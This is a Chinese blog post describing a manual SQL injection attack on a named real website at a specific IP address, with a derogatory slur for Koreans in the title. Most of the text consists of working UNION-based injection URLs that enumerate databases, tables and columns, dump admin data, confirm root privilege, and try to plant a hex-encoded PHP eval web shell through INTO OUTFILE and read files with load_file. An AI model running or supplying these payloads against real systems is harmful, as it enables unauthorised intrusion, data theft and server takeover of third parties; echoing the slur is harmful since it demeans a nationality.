手工注入棒子站

注入点: http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109

使用order by 确定字段

order by 25报错

order by 23 正常返回

order by 24试试

 

OK ,order by 25报错,order by 24正常返回 ,字段确定在24。

接下来就使用 union语包查询一下数据库名密码等等想要的东西先

使用database()查看数据库名

 

使用version()查看版本号

使用@@datadir 查看数据库的路径

 

使用user()查看用户

使用 system_user() 查看一下当前系统的用户是谁

看看当前连接的用户  使用current_user() 查询

哈哈,出来了,都是它呀,mysql还开启远程登录,看来是给日过了,默认情况下都不会使用远程登录的。

看看页面当前连接的用户是谁 session_user()

 

and ord(mid(user(),1,1))=114   查看用户是什么权限

OK,返回的页面跟上面出错的页面不同,也就是说是root权限

这样就好办了,只要知道绝对路径就可以写一句话进去

先使用 @@version_compile_os 查看一下操作系统是什么

查询一下information_schema表,看看都有哪些数据库

http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,group_concat%28distinct+table_schema%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20information_schema.columns--

爆出这么多数据库,接下来就要爆表名了,

http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,group_concat%28distinct+table_name%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20information_schema.tables%20where%20table_schema=database%28%29--

哈哈,够直接,所有表名出来了,

数据库名,表名 都爆出来了,那么接下来要做的事就是爆字段了,

http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,group_concat%28distinct+column_name%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20information_schema.columns+where+table_name=0x61646D696E5F6D656E75

注:0x61646D696E5F6D656E75 是上面爆出来的admin_menu的十六进制

使用http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,group_concat%28ADMIN_ID,0x2B,ALLOW_MENU%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20from%20admin_menu

爆出这些信息,平不是管理 员的帐号密码

但是方法是 一样的,

 好,是dba权限,那就试试写shell看看

http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24

在6的位置,插入一句话看看能不能带回到数据库,先做个实验呗 ,在6的位置写a看看能不能返回 a

http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,%27a%27,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24

 OK,很好,成功返回

使用into outfile 试试能不能写shell

http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,0x3C3F70687020406576616C28245F504F53545B6F6B5D293B3F3E,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20into%20outfile%27/home/ask/tmp1.php%27

好吧,outfile到web目录失败

 应该是权限不够,试试把文件导出到/tmp目录能否成功。

http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,0x3C3F70687020406576616C28245F504F53545B6F6B5D293B3F3E,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24%20into%20outfile%27/tmp/tmps.php%27

好吧,成功返回,说明文件已导出到/tmp目录中了。

 可以通过 load_file()来读出刚才的文件 看看

http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,load_file%28%22/tmp/tmps.php%22%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24

文件 是成功给导出了,但是马杀了,

在6的位置并没有内容,那么试试其它的看看,在/tmp目录中写入t.php 内容为phpinfo()

 

http://203.246.61.24/ipsi/sub05/sub09_A.php?menu=109%20and%201=2%20union%20select%201,2,3,4,5,load_file%28%27/tmp/t.php%27%29,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24

 

 

  好吧,web目录无法写入。。。

 

原文地址:https://www.cnblogs.com/jshy/p/5624688.html